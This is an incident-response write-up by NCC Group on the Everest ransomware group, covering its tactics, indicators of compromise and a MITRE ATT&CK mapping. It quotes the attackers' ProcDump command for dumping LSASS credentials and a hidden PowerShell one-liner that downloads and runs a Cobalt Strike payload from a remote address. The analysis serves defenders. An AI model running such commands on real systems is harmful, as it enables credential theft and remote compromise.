Climbing Mount Everest: Black-Byte Bytes Back?

research.nccgroup.com/2022/07/13/climbing-mount-everest-black-byte-bytes-back/

July 13, 2022

Authored by: **Michael Mullen** and **Nikolaos Pantazopoulos**

Summary

tl;dr

In the Threat Pulse released in November 2021 we touched on Everest Ransomware group. This latest blog documents the TTPs employed by a group who were observed deploying Everest ransomware during a recent incident response engagement.

In summary, we identified the following key TTPs:

- Lateral Movement through Remote Desktop Protocol (RDP)

- Gathering of internal IP addresses for hosts on the network
- Local LSASS dumps
- NTDS.dit dumps
- Installation of Remote Access Tools for persistence

Everest Ransomware

Earlier reports [1] have linked Everest ransomware as part of the **Everbe 2.0 family**, which is composed of Embrace, PainLocker, EvilLocker and Hyena Locker ransomware. However, after recovering and analysing an Everest ransomware file, we assess with medium confidence that Everest ransomware is related to Black-Byte.

Everest TTPs

Lateral Movement

The threat actor was observed using legitimate compromised user accounts and Remote Desktop Protocol (RDP) for lateral movement.

Credential Access

ProcDump was used to create a copy of the LSASS process in order to access additional credentials. The following command was observed being executed:

`C:\Users\<Compromised User>\Desktop\procdump64.exe -ma lsass.exe C:\Users\<Compromised User>\Desktop\lsass<victim's domain name>.dmp`, for example `lsasscontoso.dmp`.

A copy of the NTDS database was also created with a file name of ntds.dit.zip.

Defence Evasion

Throughout the incident the threat actor routinely removed tooling, reconnaissance output files and data collection archives from hosts.

Discovery

Network discovery was observed upon the compromise of a new host. This activity was primarily conducted via the use of `netscan.exe`, `netscanpack.exe` and `SoftPerfectNetworkScannerPortable.exe`. These tools allow network scans to identify further hosts of interest as well as building a target list for ransomware deployment.

The output of these tools were saved as text files in the `C:\Users\Public\Downloads\` directory. Examples of these have been included below:

- C:\Users\Public\Downloads\subnets.txt
- C:\Users\Public\Downloads\trustdumps.txt

Collection

The threat actor installed the WinRAR application on a file server which was then used to archive data ready for exfiltration.

Command and Control

Cobalt Strike was the primary command and control mechanism used by the threat actor. This was executed on hosts using the following command:

```
powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(<IP Address>/a'))
```

Additionally, a Metasploit payload was identified within the path `C:\Users\Public\l.exe`.

The following Remote Access Tools were also deployed by the threat actor as a secondary command and control method, in addition to added persistence with the tools being installed as a service

- AnyDesk
- Splashtop Remote Desktop
- Atera

Exfiltration

The threat actor utilised the file transfer capabilities of Splashtop to exfiltrate data out of the network.

Impact

Everest's action on objectives appears to focus on data exfiltration of sensitive information as well as encryption, commonly referred to as double extortion.

Indicators of Compromise

IOC (indicators of compromise) Value	Indicator Type	Description
netscan.exe	File name	SoftPerfect Network Scanner
netscanpack.exe	File name	This was unable to be analysed during the investigation.

svcdsl.exe	File name	SoftPerfect Network Scanner Portable
Winrar.exe	File name	Popular archiving tool, which supportsencryption.
subnets.txt	File name	Network Discovery output file
trustdumps.txt	File name	Network Discovery output file
l.exe	File name	Metasploit payload
hxxp://3.22.79[.]23:8080/	URL	Site hosting Cobalt Strike beacon
hxxp://3.22.79[.]23:8080/a	URL	Site hosting Cobalt Strike beacon
hxxp://3.22.79[.]23:10443/ga.js	URL	Cobalt Strike C2
hxxp://18.193.71[.]144:10443/match	URL	Cobalt Strike C2
hxxp://45.84.0[.]164:10443/o6mJ	URL	Meterpreter C2

Attribution

The recovered ransomware binary is attributed to (based on the ransomware note) the 'Everest group'. However, after analysing it, we identified/attributed the sample to Black-Byte (C# variant instead of Go). It should be noted that the sample's compilation timestamp does match the incident's timeline.

Even though the sample's functionality remains the same, we noticed that it does not download the key from a server anymore. Instead, it is (randomly) generated on the compromised host. In addition, the ransomware's onion link is different.

Based on our findings, we cannot confirm if a different threat actor copied the source code of Black-Byte and started using it or if the Black-Byte have indeed started using again the C# ransomware variant.

MITRE ATT&CK®

Tactic	Technique	ID	Description
Initial Access	External Remote Services	T1133	Initial Access was through an insecure external service
Execution	Command and Scripting Interpreter: PowerShell	T1059.001	Threat actor utilised PowerShell to execute malicious commands

Execution	Command and Scripting Interpreter: Windows Command Shell	T1059.003	Threat actor utilised Windows Command Shell to execute malicious commands
Lateral Movement	Remote Services: Remote Desktop Protocol	T1021.001	Lateral movement was observed utilising RDP
Persistence	Create or Modify System Process: Windows Service	T1543.003	Threat actor installed remote desktop software tools as services for persistence
Credential Access	OS Credential Dumping: LSASS Memory	T1003.001	The tool Procdump was used to create a copy of the LSASS process
Credential Access	OS Credential Dumping: NTDS	T1003.003	The NTDS.dit was copied
Defence Evasion	Indicator Removal on Host: File deletion	T1070.004	Threat actor routinely deleted tooling and output
Discovery	Network Service Discovery	T1046	Threat actor utilised numerous network discovery tools – Netscan and SoftPerfectNetworkScanner
Collection	Archive Collected Data: Archive via Utility	T1560.001	Threat actor archived data using WinRAR
Command and Control	Application Layer Protocol: Web Protocols	T1071.001	Cobalt Strike was implemented using HTTPS for C2 traffic
Command and Control	Remote Access Software	T1219	Threat actor utilised remote access software – Anydesk, Splashtop and Atera
Exfiltration	Exfiltration Over C2 Channel	T1041	Data exfiltration was conducted using the Splashtop application
Impact	Data Encrypted for Impact	T1486	Data was encrypted for impact

References